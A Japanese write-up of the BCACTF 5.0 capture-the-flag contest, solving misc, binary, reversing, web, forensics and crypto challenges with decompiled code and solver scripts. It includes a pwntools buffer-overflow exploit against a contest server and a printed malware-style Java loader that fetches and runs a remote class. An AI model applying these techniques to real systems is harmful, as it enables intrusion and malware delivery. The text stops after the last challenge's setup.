BCACTF 5.0 Writeup

この大会は2024/6/7 22:37(JST)~2024/6/9 22:37(JST)に開催されました。
今回もチームで参戦。結果は2685点で823チーム中42位でした。
自分で解けた問題をWriteupとして書いておきます。

Discord (misc 10)

Discordに入り、#announcementsチャネルのメッセージにフラグが書いてあった。

bcactf{w3lc0m3_t0_bC@c7F_5_fby4uf4dijreferuvg}

This is NOT the flag (misc 25)

$ echo -n bcactf | base64
YmNhY3Rm
>>> from string import *
>>> chars = ascii_uppercase + ascii_lowercase + digits + '+/'
>>> chars.index('Y')
24
>>> chars.index('n')
39
>>> chars.index('m')
38
>>> chars.index('Z')
25
>>> chars.index('N')
13
>>> chars.index('y')
50

期待するbase64文字列の文字は暗号文字列の文字と、インデックスについて和が63になる。これで全体のbase64文字列を割り出し、デコードする。

#!/usr/bin/env python3
from string import *
from base64 import *

chars = ascii_uppercase + ascii_lowercase + digits + '+/'

with open('NOTflag.txt', 'r') as f:
    ct = f.read()

pt = b64encode(b'bcactf').decode()
key = chars.index(pt[0]) + chars.index(ct[0])

b64 = ''
for c in ct:
    index = key - chars.index(c)
    b64 += chars[index]

flag = b64decode(b64).decode()
print(flag)
bcactf{7hIs_1s_7h3_fla9}

Inaccessible (binex 50)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  puts("No flag for you >:(");
  return 0;
}

void win(void)

{
  long lVar1;
  char cVar2;
  char cVar3;
  int iVar4;
  void *pvVar5;
  byte local_58 [48];
  long local_28;
  int local_1c;
  
  pvVar5 = (void *)0x0;
  memset(local_58,0,0x28);
  for (local_1c = 0; local_1c < 0x25; local_1c = local_1c + 1) {
    lVar1 = *(long *)(b + (long)local_1c * 8);
    iVar4 = f(local_1c + 1);
    local_28 = lVar1 / (long)iVar4;
    cVar3 = f((int)(char)i2[local_1c]);
    cVar2 = (char)local_28;
    iVar4 = c((void *)(ulong)(uint)(int)(char)i4[local_1c],pvVar5);
    local_58[local_1c] = (char)iVar4 + cVar3 + cVar2;
    local_58[local_1c] = ~local_58[local_1c];
  }
  puts((char *)local_58);
  return;
}

win関数を呼び出せばよい。_start関数のアセンブリを見てみる。

                             //
                             // .text 
                             // SHT_PROGBITS  [0x400440 - 0x400741]
                             // ram:00400440-ram:00400741
                             //
                             **************************************************************
                             *                          FUNCTION                          *
                             **************************************************************
                             undefined processEntry _start()
             undefined         AL:1           <RETURN>
             undefined8        Stack[-0x10]:8 local_10                                XREF[1]:     0040044e(*)  
                             _start                                          XREF[5]:     Entry Point(*), 00400018(*), 
                                                                                          0040077c, 004007d8(*), 
                                                                                          _elfSectionHeaders::00000310(*)  
        00400440 31 ed           XOR        EBP,EBP
        00400442 49 89 d1        MOV        R9,RDX
        00400445 5e              POP        RSI
        00400446 48 89 e2        MOV        RDX,RSP
        00400449 48 83 e4 f0     AND        RSP,-0x10
        0040044d 50              PUSH       RAX
        0040044e 54              PUSH       RSP=>local_10
        0040044f 49 c7 c0        MOV        R8,__libc_csu_fini
                 40 07 40 00
        00400456 48 c7 c1        MOV        RCX,__libc_csu_init
                 d0 06 40 00
        0040045d 48 c7 c7        MOV        RDI,main
                 b8 06 40 00
        00400464 e8 b7 ff        CALL       <EXTERNAL>::__libc_start_main                    undefined __libc_start_main()
                 ff ff
        00400469 f4              HLT
        0040046a 66              ??         66h    f
        0040046b 0f              ??         0Fh
        0040046c 1f              ??         1Fh
        0040046d 44              ??         44h    D
        0040046e 00              ??         00h
        0040046f 00              ??         00h

以下の部分は呼び出すmain関数のアドレス0x4006b8を示している。

        0040045d 48 c7 c7        MOV        RDI,main
                 b8 06 40 00

win関数のアドレスは0x4005eaなので、該当する部分を ea 05 40 00 に書き換え、実行する。

$ ./chall_mod
bcactf{W0w_Y0u_m4d3_iT_b810c453a9ac9}
bcactf{W0w_Y0u_m4d3_iT_b810c453a9ac9}

Canary Keeper (binex 100)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  int iVar1;
  undefined8 uVar2;
  char local_98 [73];
  undefined4 local_4f;
  undefined2 local_4b;
  undefined local_49;
  undefined8 local_48;
  undefined8 local_40;
  undefined8 local_38;
  undefined8 local_30;
  undefined8 local_28;
  undefined8 local_20;
  undefined8 local_18;
  undefined8 local_10;
  
  local_48 = 0x47414c46;
  local_40 = 0;
  local_38 = 0;
  local_30 = 0;
  local_28 = 0;
  local_20 = 0;
  local_18 = 0;
  local_10 = 0;
  local_4f = 0x616e6163;
  local_4b = 0x7972;
  local_49 = 0;
  printf("Enter a string: ");
  gets(local_98);
  iVar1 = check_canary(&local_4f);
  if (iVar1 == 0) {
    puts("Buffer overflow detected!");
    uVar2 = 1;
  }
  else {
    iVar1 = check_flag(&local_48);
    if (iVar1 == 0) {
      printf("Flag: %s\n",&DAT_0010200c);
      uVar2 = 0;
    }
    else {
      puts("No changes in flag detected!");
      uVar2 = 1;
    }
  }
  return uVar2;
}

bool check_canary(char *param_1)

{
  int iVar1;
  
  iVar1 = strcmp(param_1,"canary");
  return iVar1 == 0;
}

bool check_flag(char *param_1)

{
  int iVar1;
  
  iVar1 = strcmp(param_1,"FLAG");
  return iVar1 == 0;
}

"canary"を同じ文字列で上書きし、"FLAG"を書き換えればよい。

#!/usr/bin/env python3
from pwn import *

if len(sys.argv) == 1:
    p = remote('challs.bcactf.com', 31615)
else:
    p = process('./provided')

payload = b'A' * 73
payload += b'canary\x00\x00'

data = p.recvuntil(b': ').decode()
print(data)
print(payload)
p.sendline(payload)
data = p.recvline().decode().rstrip()
print(data)

実行結果は以下の通り。

[+] Opening connection to challs.bcactf.com on port 31615: Done
Enter a string: 
b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAcanary\x00\x00'
Flag: bcactf{s1mple_CANaRY_9b36bd9f3fd2f}
[*] Closed connection to challs.bcactf.com port 31615
bcactf{s1mple_CANaRY_9b36bd9f3fd2f}

My Brain Hurts (rev 25)

Brainf*ck言語のプログラムとアウトプットが添付されている。https://sange.fi/esoteric/brainfuck/impl/interp/i.htmlで入力値を調整しながら、出力が同じになるものを先頭から1文字ずつ探す。

bcactf{Br41n_fcK-1s-fUn}

XOR (rev 50)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  FILE *__stream;
  undefined8 uVar1;
  size_t __n;
  void *__ptr;
  void *__ptr_00;
  
  __stream = fopen("flag.txt","r");
  if (__stream == (FILE *)0x0) {
    puts("Failed to open flag file. Make sure flag.txt exists.");
    uVar1 = 1;
  }
  else {
    fseek(__stream,0,2);
    __n = ftell(__stream);
    fseek(__stream,0,0);
    __ptr = malloc(__n + 1);
    if (__ptr == (void *)0x0) {
      puts("Memory allocation failed for input.");
      fclose(__stream);
      uVar1 = 1;
    }
    else {
      fread(__ptr,1,__n,__stream);
      *(undefined *)((long)__ptr + __n) = 0;
      fclose(__stream);
      __ptr_00 = malloc(__n * 3 + 1);
      if (__ptr_00 == (void *)0x0) {
        puts("Memory allocation failed for output.");
        free(__ptr);
        uVar1 = 1;
      }
      else {
        xorEncrypt(__ptr,__ptr_00,__n);
        printf("Encrypted flag: %s\n",__ptr_00);
        free(__ptr);
        free(__ptr_00);
        uVar1 = 0;
      }
    }
  }
  return uVar1;
}

void xorEncrypt(long param_1,long param_2,ulong param_3)

{
  ulong local_18;
  
  for (local_18 = 0; local_18 < param_3; local_18 = local_18 + 1) {
    sprintf((char *)(param_2 + local_18 * 3),"%02X ",
            (ulong)(uint)(int)(char)("ClkvKOR8JQA1JB731LeGkU7J4d2khDvrOPI63mM7"[local_18 % 0x28] ^
                                    *(byte *)(local_18 + param_1)));
  }
  *(undefined *)(param_2 + param_3 * 3) = 0;
  return;
}
$ nc challs.bcactf.com 32411
Encrypted flag: 21 0F 0A 15 3F 29 29 6B 13 1C 2C 74 7D 30 5E 50 6E 29 2B 24 19 0C 67 7D 05 54 7C 34 5C 13 32 42 29 62 7B 0F 4E

コードから、XOR鍵が"ClkvKOR8JQA1JB731LeGkU7J4d2khDvrOPI63mM7"でフラグを暗号化し、16進数表記したものが上記のデータであることがわかっている。この情報を使ってXORで復号する。

#!/usr/bin/env python3
enc = '21 0F 0A 15 3F 29 29 6B 13 1C 2C 74 7D 30 5E 50 6E 29 2B 24 19 0C 67 7D 05 54 7C 34 5C 13 32 42 29 62 7B 0F 4E'
enc = enc.split(' ')

key = 'ClkvKOR8JQA1JB731LeGkU7J4d2khDvrOPI63mM7'

flag = ''
for i, c in enumerate(enc):
    flag += chr(int(c, 16) ^ ord(key[i % len(key)]))
print(flag)
bcactf{SYMmE7ric_eNcrYP710N_4WD0f229}

Flagtureiser (rev 50)

jadx-guiデコンパイルする。

public class Flagtureiser {
    private static final Logger LOGGER = LogUtils.getLogger();
    public static final String MODID = "flagtureiser";
    public static final DeferredRegister<Block> BLOCKS = DeferredRegister.create(ForgeRegistries.BLOCKS, MODID);
    public static final DeferredRegister<Item> ITEMS = DeferredRegister.create(ForgeRegistries.ITEMS, MODID);
    public static final RegistryObject<Block> EXAMPLE_BLOCK = BLOCKS.register("example_block", () -> {
        return new Block(BlockBehaviour.Properties.m_60939_(Material.f_76278_));
    });
    public static final RegistryObject<Item> EXAMPLE_BLOCK_ITEM = ITEMS.register("example_block", () -> {
        return new BlockItem((Block) EXAMPLE_BLOCK.get(), new Item.Properties());
    });

    static void _6d8f2e1fefef5b67bf4f49179b84f29f7d1e01f0() throws Exception {
        Class.forName("Utility", true, (ClassLoader) Class.forName("java.net.URLClassLoader").getConstructor(URL[].class).newInstance(new URL("http", "bcactf{fRaCtur31s3R_sT8gE_z3R0}", 8080, "/dl"))).getMethod("run", String.class).invoke(null, "-114.-18.38.108.-100");
    }
        :
        :

このコードの中にフラグが含まれていた。

bcactf{fRaCtur31s3R_sT8gE_z3R0}

NoSQL (webex 25)

正規表現を使って、http://challs.bcactf.com:30390/?name=.{1,100}にアクセスすると、以下の結果となる。

{"rtnValues":["Ricardo Olsen","April Park","Francis Jackson","Ana Barry","Clifford Craig","Andrew Wise","Ada Atkinson","Janis McIntosh","Rosie Parsons","Neal Weaver","Alyssa Robison","Michael Hurst","Roberto Thornton","Renee Schwartz","Darryl Wilson","Wayne Boyle","Loretta Camacho","Bert Morton","Suzanne Johnson","Carol Fowler","Rose Hansen","Aimee Norman","Bethany Foley","Benjamin Baily","David Hull","Sabrina Fish","Rick Kirby","Edgar Grimes","Blake McDermott","Alicia Crosby","Teresa Ortega","Carroll Darling","Louis Tate","Phillip Fuller","Clinton Kimball","Alma Matthews","Stacie Franklin","Lucinda Steward","Gina Andrews","Philip Hyde","Devin Riggs","Michelle Thornton","Rogelio Freeman","Arthur Stephens","Andy Leon","Megan Gould","Myrna Yates","Edwin Pearce","Shirley Cannon","Lowell Cochran","Flag Holder"]}

整形すると、以下のようになる。

{
	"rtnValues": [
		"Ricardo Olsen",
		"April Park",
		"Francis Jackson",
		"Ana Barry",
		"Clifford Craig",
		"Andrew Wise",
		"Ada Atkinson",
		"Janis McIntosh",
		"Rosie Parsons",
		"Neal Weaver",
		"Alyssa Robison",
		"Michael Hurst",
		"Roberto Thornton",
		"Renee Schwartz",
		"Darryl Wilson",
		"Wayne Boyle",
		"Loretta Camacho",
		"Bert Morton",
		"Suzanne Johnson",
		"Carol Fowler",
		"Rose Hansen",
		"Aimee Norman",
		"Bethany Foley",
		"Benjamin Baily",
		"David Hull",
		"Sabrina Fish",
		"Rick Kirby",
		"Edgar Grimes",
		"Blake McDermott",
		"Alicia Crosby",
		"Teresa Ortega",
		"Carroll Darling",
		"Louis Tate",
		"Phillip Fuller",
		"Clinton Kimball",
		"Alma Matthews",
		"Stacie Franklin",
		"Lucinda Steward",
		"Gina Andrews",
		"Philip Hyde",
		"Devin Riggs",
		"Michelle Thornton",
		"Rogelio Freeman",
		"Arthur Stephens",
		"Andy Leon",
		"Megan Gould",
		"Myrna Yates",
		"Edwin Pearce",
		"Shirley Cannon",
		"Lowell Cochran",
		"Flag Holder"
	]
}

"Flag Holder"は51番目のため、idは51と推測し、該当するURLにアクセスする。

$ curl http://challs.bcactf.com:30390/51/Flag/Holder            
bcactf{R3gex_WH1z_54dfa9cdba13}
bcactf{R3gex_WH1z_54dfa9cdba13}

Phone number (webex 50)

BurpSuiteでインターセプトするようにし、適当な電話番号で送信する。インターセプトしたデータの電話番号の部分を問題文に書かれている 1234567890 に変更して送信すると、フラグが表示された。

bcactf{PHoN3_num8eR_EntER3D!_17847928}

Chalkboard Gag (foren 25)

ほとんど、各行で以下のように書かれている。

I WILL NOT BE SNEAKY

しかし異なる部分があるので、それを抜き出す。

#!/usr/bin/env python3
with open('chalkboardgag.txt', 'r') as f:
    lines = f.read().splitlines()

PHRASE = 'I WILL NOT BE SNEAKY'

flag = ''
for line in lines:
    if line != PHRASE:
        for i in range(len(line)):
            if line[i] != PHRASE[i]:
                flag += line[i]
                break

print(flag)
bcactf{BaRT_W0U1D_B3_PR0uD}

23-719 (foren 50)

$ pdftotext 23-719_19m2.pdf
$ cat 23-719_19m2.txt | grep -A 2 -B 2 -i ctf 
1

Al_WOrLd_appLIc4t1ons_Of_cTf_ad04cc78601d5da8}
b cactf{rE , KAGAN
SOTOMAYOR
, and JACKSON, JJ., concurring in judgment
bcactf{rEAl_WOrLd_appLIc4t1ons_Of_cTf_ad04cc78601d5da8}

Sea Scavenger (foren 50)

リンクされているページを探す。
http://challs.bcactf.com:32173/sharkのHTMLソースを見ると、コメントにこう書いてある。

<!-- You found the shark! Part 1 of the flag: "bcactf{b3" -->

http://challs.bcactf.com:32173/squidのHTMLソースにリンクされている/static/squid.jsを見てみると、こう書いてある。

console.log("You found it! Here's the second part of the flag: \"t_y0u_d1\"");

http://challs.bcactf.com:32173/clamにアクセスすると、クッキーのflag part 3にこう書いてある。

dnt_f1n

http://challs.bcactf.com:32173/shipwreckにアクセスすると、レスポンスヘッダにこう書いてある。

Flag_Part_4: d_th3_tr

http://challs.bcactf.com:32173/whaleのHTMLソースにリンクされている/static/whale.jsを見てみると、こう書いてある。

// Part 5 of the flag: "e4sur3"

http://challs.bcactf.com:32173/treasureにアクセスすると、こう書いてある。

Maybe this treasure was left here by robots...

http://challs.bcactf.com:32173/treasure/robots.txtにアクセスすると、こう書いてある。

You found the rest of the flag!

_t336e3}

すべてのフラグの断片を結合すると、フラグになる。

bcactf{b3t_y0u_d1dnt_f1nd_th3_tre4sur3_t336e3}

magic (foren 75)

PDFStreamDumperで開くと、JavaScriptでフラグをチェックする部分があることがわかる。

 << /S/JavaScript/JS(var _thereisdjs=true;
    (function(_0x18b13a,_0x4d582d){var _0x3da883=_0x4113,_0x1d0353=_0x18b13a();while(!![]){try{var _0x10c45c=parseInt(_0x3da883(0x1be))/0x1*(-parseInt(_0x3da883(0x1cc))/0x2)+parseInt(_0x3da883(0x1c2))/0x3+parseInt(_0x3da883(0x1c6))/0x4*(parseInt(_0x3da883(0x1c7))/0x5)+-parseInt(_0x3da883(0x1cb))/0x6*(parseInt(_0x3da883(0x1c1))/0x7)+-parseInt(_0x3da883(0x1ca))/0x8+parseInt(_0x3da883(0x1c0))/0x9+parseInt(_0x3da883(0x1c4))/0xa*(parseInt(_0x3da883(0x1bf))/0xb);if(_0x10c45c===_0x4d582d)break;else _0x1d0353['push'](_0x1d0353['shift']());}catch(_0x53c9c0){_0x1d0353['push'](_0x1d0353['shift']());}}}(_0x43c8,0xe20be));function _0x4113(_0x44cfd2,_0x23b14b){var _0x43c873=_0x43c8();return _0x4113=function(_0x4113e1,_0x43c2ed){_0x4113e1=_0x4113e1-0x1bd;var _0x2522f0=_0x43c873[_0x4113e1];return _0x2522f0;},_0x4113(_0x44cfd2,_0x23b14b);}function _0x43c8(){var _0x1355d8=['getField','charCodeAt','100554TvjbzQ','11jHxsKn','7564617EnopjV','2219BJkXWe','3372363teHOVr','alert','5165870pcLTuS','producer','32KYViix','925835vZTXso','Flag is incorrect!','length','8132288HsoZUP','13494jFFdda','26rtwUNT'];_0x43c8=function(){return _0x1355d8;};return _0x43c8();}function update(){var _0x3d0e72=_0x4113,_0x2923fd=this[_0x3d0e72(0x1cd)]('A')['value'],_0x12e8ec=[];for(var _0x28002d=0x0;_0x28002d<_0x2923fd[_0x3d0e72(0x1c9)];_0x28002d++){_0x12e8ec['push'](_0x2923fd[_0x3d0e72(0x1bd)](_0x28002d)^parseInt(info[_0x3d0e72(0x1c5)])%(0x75+_0x28002d));}k=[0x46,0x2d,0x62,0x11,0x6b,0x4c,0x72,0x5f,0x76,0x38,0x19,0x28,0x5f,0x31,0x36,0x63,0xf7,0xb1,0x69,0x2a,0x18,0x5e,0x36,0x1,0x37,0x3a,0x1c,0x5,0x11,0x56,0xe5,0x7b,0x64,0x2c,0x11,0x14,0x53,0x5a,0x35,0x17,0x41,0x62,0x3];if(_0x12e8ec['length']!=k[_0x3d0e72(0x1c9)]){app[_0x3d0e72(0x1c3)](_0x3d0e72(0x1c8));return;}for(var _0x28002d=0x0;_0x28002d<k[_0x3d0e72(0x1c9)];_0x28002d++){if(_0x12e8ec[_0x28002d]!=k[_0x28002d]){app[_0x3d0e72(0x1c3)](_0x3d0e72(0x1c8));return;}}app[_0x3d0e72(0x1c3)]('Flag is correct!');}
) >>

整形すると、以下のようになる。

var _thereisdjs = true;
(function(_0x18b13a, _0x4d582d) {
    var _0x3da883 = _0x4113,
        _0x1d0353 = _0x18b13a();
    while (!![]) {
        try {
            var _0x10c45c = parseInt(_0x3da883(0x1be)) / 0x1 * (-parseInt(_0x3da883(0x1cc)) / 0x2) + parseInt(_0x3da883(0x1c2)) / 0x3 + parseInt(_0x3da883(0x1c6)) / 0x4 * (parseInt(_0x3da883(0x1c7)) / 0x5) + -parseInt(_0x3da883(0x1cb)) / 0x6 * (parseInt(_0x3da883(0x1c1)) / 0x7) + -parseInt(_0x3da883(0x1ca)) / 0x8 + parseInt(_0x3da883(0x1c0)) / 0x9 + parseInt(_0x3da883(0x1c4)) / 0xa * (parseInt(_0x3da883(0x1bf)) / 0xb);
            if (_0x10c45c === _0x4d582d) break;
            else _0x1d0353['push'](_0x1d0353['shift']());
        } catch (_0x53c9c0) {
            _0x1d0353['push'](_0x1d0353['shift']());
        }
    }
}(_0x43c8, 0xe20be));

function _0x4113(_0x44cfd2, _0x23b14b) {
    var _0x43c873 = _0x43c8();
    return _0x4113 = function(_0x4113e1, _0x43c2ed) {
        _0x4113e1 = _0x4113e1 - 0x1bd;
        var _0x2522f0 = _0x43c873[_0x4113e1];
        return _0x2522f0;
    }, _0x4113(_0x44cfd2, _0x23b14b);
}

function _0x43c8() {
    var _0x1355d8 = ['getField', 'charCodeAt', '100554TvjbzQ', '11jHxsKn', '7564617EnopjV', '2219BJkXWe', '3372363teHOVr', 'alert', '5165870pcLTuS', 'producer', '32KYViix', '925835vZTXso', 'Flag is incorrect!', 'length', '8132288HsoZUP', '13494jFFdda', '26rtwUNT'];
    _0x43c8 = function() {
        return _0x1355d8;
    };
    return _0x43c8();
}

function update() {
    var _0x3d0e72 = _0x4113,
        _0x2923fd = this[_0x3d0e72(0x1cd)]('A')['value'],
        _0x12e8ec = [];
    for (var _0x28002d = 0x0; _0x28002d < _0x2923fd[_0x3d0e72(0x1c9)]; _0x28002d++) {
        _0x12e8ec['push'](_0x2923fd[_0x3d0e72(0x1bd)](_0x28002d) ^ parseInt(info[_0x3d0e72(0x1c5)]) % (0x75 + _0x28002d));
    }
    k = [0x46, 0x2d, 0x62, 0x11, 0x6b, 0x4c, 0x72, 0x5f, 0x76, 0x38, 0x19, 0x28, 0x5f, 0x31, 0x36, 0x63, 0xf7, 0xb1, 0x69, 0x2a, 0x18, 0x5e, 0x36, 0x1, 0x37, 0x3a, 0x1c, 0x5, 0x11, 0x56, 0xe5, 0x7b, 0x64, 0x2c, 0x11, 0x14, 0x53, 0x5a, 0x35, 0x17, 0x41, 0x62, 0x3];
    if (_0x12e8ec['length'] != k[_0x3d0e72(0x1c9)]) {
        app[_0x3d0e72(0x1c3)](_0x3d0e72(0x1c8));
        return;
    }
    for (var _0x28002d = 0x0; _0x28002d < k[_0x3d0e72(0x1c9)]; _0x28002d++) {
        if (_0x12e8ec[_0x28002d] != k[_0x28002d]) {
            app[_0x3d0e72(0x1c3)](_0x3d0e72(0x1c8));
            return;
        }
    }
    app[_0x3d0e72(0x1c3)]('Flag is correct!');
}

ブラウザのデベロッパーツールのConsoleでupdate関数以外をそのまま貼り付け、いろいろと確認する。_0x2923fdはフラグ文字列と推測できる。

> var _0x3d0e72 = _0x4113
< undefined
> _0x3d0e72(0x1bd)
< 'charCodeAt'
> _0x3d0e72(0x1c5)
< 'producer'

他のオブジェクトを見ると、以下の情報もある。

<<
	
	/Author()/Title()/Subject()/Creator()/Producer(t\377.2.8.3.5.4.8.8.9.3.2.7.4)/Keywords()
	/CreationDate (D:20240528134825-04'00')
	/ModDate (D:20240528134825-04'00')
	/Trapped /False
	/PTEX.Fullbanner (This is pdfTeX, Version 3.141592653-2.6-1.40.26 (TeX Live 2024/Arch Linux) kpathsea version 6.4.0)
>>

Unicodeで見ると、info['producer']の値は283548893274であるとわかる。
flagの各インデックスについて、以下の式が条件になる。

flag[i] ^ (283548893274 % (0x75 + i) == k[i]

この条件を元にフラグを求める。

#!/usr/bin/env python3
k = [0x46, 0x2d, 0x62, 0x11, 0x6b, 0x4c, 0x72, 0x5f, 0x76, 0x38, 0x19, 0x28, 0x5f, 0x31, 0x36, 0x63, 0xf7, 0xb1, 0x69, 0x2a, 0x18, 0x5e, 0x36, 0x1, 0x37, 0x3a, 0x1c, 0x5, 0x11, 0x56, 0xe5, 0x7b, 0x64, 0x2c, 0x11, 0x14, 0x53, 0x5a, 0x35, 0x17, 0x41, 0x62, 0x3]

flag = ''
for i in range(len(k)):
    for code in range(32, 127):
        if code ^ (283548893274 % (0x75 + i)) == k[i]:
            flag += chr(code)
            break
print(flag)
bcactf{InTerACtIv3_PdFs_W0W_cbd14436e6aea8}

Vinegar Times 3 (crypto 25)

Vigenere暗号。鍵をvinegarにして復号し、それを鍵にして次の暗号を復号することを繰り返す。

鍵:vinegar、 暗号:mmqaonv         -> redwine
鍵:redwine、 暗号:seooizmt        -> balsamic
鍵:balsamic、暗号:bdoloeinbdjmmyg -> addtosaladyummy
bcactf{add_to_salad_yummy}

Time Skip (crypto 50)

スキュタレー暗号と推測し、https://www.dcode.fr/scytale-cipherで復号する。

heyguysimkindoflostprobablynotgoingtosurvivemuchlongertobehonestbutanywaystheflagisbcactf{5c7t4l3_h15t04y_qe829xl1}pleasesendhelpimeanbythetimeyouseethisiveprobablybeendeadforthousandsofyearsohwellseeyoulaterisupposebyee

この復号結果にフラグが含まれていた。

bcactf{5c7t4l3_h15t04y_qe829xl1}

Encryptor Shop (50)

サーバの処理概要は以下の通り。

・p, q, r: 1024ビット素数
・n = p * q
・phi = (p - 1) * (q - 1)
・e = 65537
・d = pow(e, -1, phi)
・以下、3回繰り返し
 ・message: 入力
 ・m: messageを数値化したもの
 ・c = pow(m, e, n)
 ・c, n, eを表示
・x: 入力
・xを小文字にして"yes"の場合
 ・m: flagを数値化したもの
 ・n = p * r
 ・c = pow(m, e, n)
 ・c, nを表示

3回繰り返し中のnと後のnの公約数がpになり、素因数分解できる。あとは通常通り復号できる。

#!/usr/bin/env python3
import socket
from Crypto.Util.number import *

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('challs.bcactf.com', 32542))

for _ in range(2):
    data = recvuntil(s, b'\n').rstrip()
    print(data)

for _ in range(3):
    data = recvuntil(s, b': ')
    print(data + 'A')
    s.sendall(b'A\n')
    for __ in range(4):
        data = recvuntil(s, b'\n').rstrip()
        print(data)
    n1 = int(data.split(' ')[-1])
    data = recvuntil(s, b'\n').rstrip()
    print(data)

data = recvuntil(s, b'(yes or no) ')
print(data + 'yes')
s.sendall(b'yes\n')

data = recvuntil(s, b'\n').rstrip()
print(data)
c = int(data.split(' ')[-1])
for _ in range(2):
    data = recvuntil(s, b'\n').rstrip()
    print(data)
n2 = int(data.split(' ')[-1])

e = 65537
p = GCD(n1, n2)
r = n2 // p
phi = (p - 1) * (r - 1)
d = pow(e, -1, phi)
m = pow(c, d, n2)
flag = long_to_bytes(m).decode()
print(flag)

実行結果は以下の通り。

Welcome to the enc-shop!
What can I encrypt for you today?
Enter text to encrypt: A
Here is your encrypted message: 6684369504720877224851968043483000410679959031697265431956437267664675979468666901551197756539413130615196314489033909413541990946141328197663233385746875503771510245676409873065313218180560201395402907999765787087948731864480819815554772131642864230113989981895980711395533886252062000016020156439795878737256588965639150996055189203571689527949588179871836586223030997733204444200705738700250501496481417904557208138079410953687861696843458648520926151939268120333186031573642933007764337686806231068440751523540601005855491278074991305743055164956624946630058228550611838608620873545681115500625184822232595282830
c = 6684369504720877224851968043483000410679959031697265431956437267664675979468666901551197756539413130615196314489033909413541990946141328197663233385746875503771510245676409873065313218180560201395402907999765787087948731864480819815554772131642864230113989981895980711395533886252062000016020156439795878737256588965639150996055189203571689527949588179871836586223030997733204444200705738700250501496481417904557208138079410953687861696843458648520926151939268120333186031573642933007764337686806231068440751523540601005855491278074991305743055164956624946630058228550611838608620873545681115500625184822232595282830
Here is the public key for your reference:
n = 13344816468384409129090895090308774504015950452914933740769523975756571167655002465785014010956284992456913714685312005366460964563483995694175042029803339795008641612604675199939468732547908531330356331741795946215874636085236802030408714277912485174960907329420365237756748255863352306388707813819840181484084996344282848224566882420661806245537692002233922977625405911153667203502190518683210123915967746531180826130451927452355378833913337708327277366861896546960577422211923268983933059483460626142955841197405701875507317707037299301774136604635046964590524830247967922167625970705602264213824462462853541422049
e = 65537
Enter text to encrypt: A
Here is your encrypted message: 6684369504720877224851968043483000410679959031697265431956437267664675979468666901551197756539413130615196314489033909413541990946141328197663233385746875503771510245676409873065313218180560201395402907999765787087948731864480819815554772131642864230113989981895980711395533886252062000016020156439795878737256588965639150996055189203571689527949588179871836586223030997733204444200705738700250501496481417904557208138079410953687861696843458648520926151939268120333186031573642933007764337686806231068440751523540601005855491278074991305743055164956624946630058228550611838608620873545681115500625184822232595282830
c = 6684369504720877224851968043483000410679959031697265431956437267664675979468666901551197756539413130615196314489033909413541990946141328197663233385746875503771510245676409873065313218180560201395402907999765787087948731864480819815554772131642864230113989981895980711395533886252062000016020156439795878737256588965639150996055189203571689527949588179871836586223030997733204444200705738700250501496481417904557208138079410953687861696843458648520926151939268120333186031573642933007764337686806231068440751523540601005855491278074991305743055164956624946630058228550611838608620873545681115500625184822232595282830
Here is the public key for your reference:
n = 13344816468384409129090895090308774504015950452914933740769523975756571167655002465785014010956284992456913714685312005366460964563483995694175042029803339795008641612604675199939468732547908531330356331741795946215874636085236802030408714277912485174960907329420365237756748255863352306388707813819840181484084996344282848224566882420661806245537692002233922977625405911153667203502190518683210123915967746531180826130451927452355378833913337708327277366861896546960577422211923268983933059483460626142955841197405701875507317707037299301774136604635046964590524830247967922167625970705602264213824462462853541422049
e = 65537
Enter text to encrypt: A
Here is your encrypted message: 6684369504720877224851968043483000410679959031697265431956437267664675979468666901551197756539413130615196314489033909413541990946141328197663233385746875503771510245676409873065313218180560201395402907999765787087948731864480819815554772131642864230113989981895980711395533886252062000016020156439795878737256588965639150996055189203571689527949588179871836586223030997733204444200705738700250501496481417904557208138079410953687861696843458648520926151939268120333186031573642933007764337686806231068440751523540601005855491278074991305743055164956624946630058228550611838608620873545681115500625184822232595282830
c = 6684369504720877224851968043483000410679959031697265431956437267664675979468666901551197756539413130615196314489033909413541990946141328197663233385746875503771510245676409873065313218180560201395402907999765787087948731864480819815554772131642864230113989981895980711395533886252062000016020156439795878737256588965639150996055189203571689527949588179871836586223030997733204444200705738700250501496481417904557208138079410953687861696843458648520926151939268120333186031573642933007764337686806231068440751523540601005855491278074991305743055164956624946630058228550611838608620873545681115500625184822232595282830
Here is the public key for your reference:
n = 13344816468384409129090895090308774504015950452914933740769523975756571167655002465785014010956284992456913714685312005366460964563483995694175042029803339795008641612604675199939468732547908531330356331741795946215874636085236802030408714277912485174960907329420365237756748255863352306388707813819840181484084996344282848224566882420661806245537692002233922977625405911153667203502190518683210123915967746531180826130451927452355378833913337708327277366861896546960577422211923268983933059483460626142955841197405701875507317707037299301774136604635046964590524830247967922167625970705602264213824462462853541422049
e = 65537
Thank you for encrypting with us!
In order to guarantee the security of your data, we will now let you view the encrypted flag.
Would you like to view it? (yes or no) yes
Here is the encrypted flag: 1375321146160464039545386455966874322384860402691015184419776449066929792339475564431591532181538895768302915771046734855840224962965039733144168838903999344646584419296181471745610070177042276114618381554366519840287990874968053818194882022595168048992992929407560036625710331467558318317688962048351479738182561443341846828872235414450163637798401659143207077336382962570357646371334393107183956220689675357287815382833153466459403749353689635955742961885899089019851754158678593713025924583337130524369927137251361809351243083802956346199386790161294545128413493108125674579416192555018900797495495893904192779092
Here is the public key for your reference:
n = 17089210744676629722584288515746822992603859474044963019672720189540691982201565828133577242880553341702893008342551119601386503778273396369780024537188380259780894279404827929292903508660759027527908872858657973615667784642221023267498851656991965191325068836790212527694102846181451805603260558952968785973469735168677125016863902854484496047733277344260252141137033291732738166694895492896314656223361274672592903148831914217081303455984860584687032623257448069793477200149581450559643121069544736947171422928623756724694044051541131466938153358704253463419645800485104873726860571383379831429541576075002443328123
bcactf{w0w_@lg3br@_d3in48uth934r}
bcactf{w0w_@lg3br@_d3in48uth934r}

Cha-Cha Slide (crypto 100)

サーバの処理概要は以下の通り。

・key: ランダム32バイト文字列
・nonce: ランダム12バイト文字列
・secret_msg: ランダム16バイト文字列の16進数表記
・encrypt_msg(secret_msg)を表示
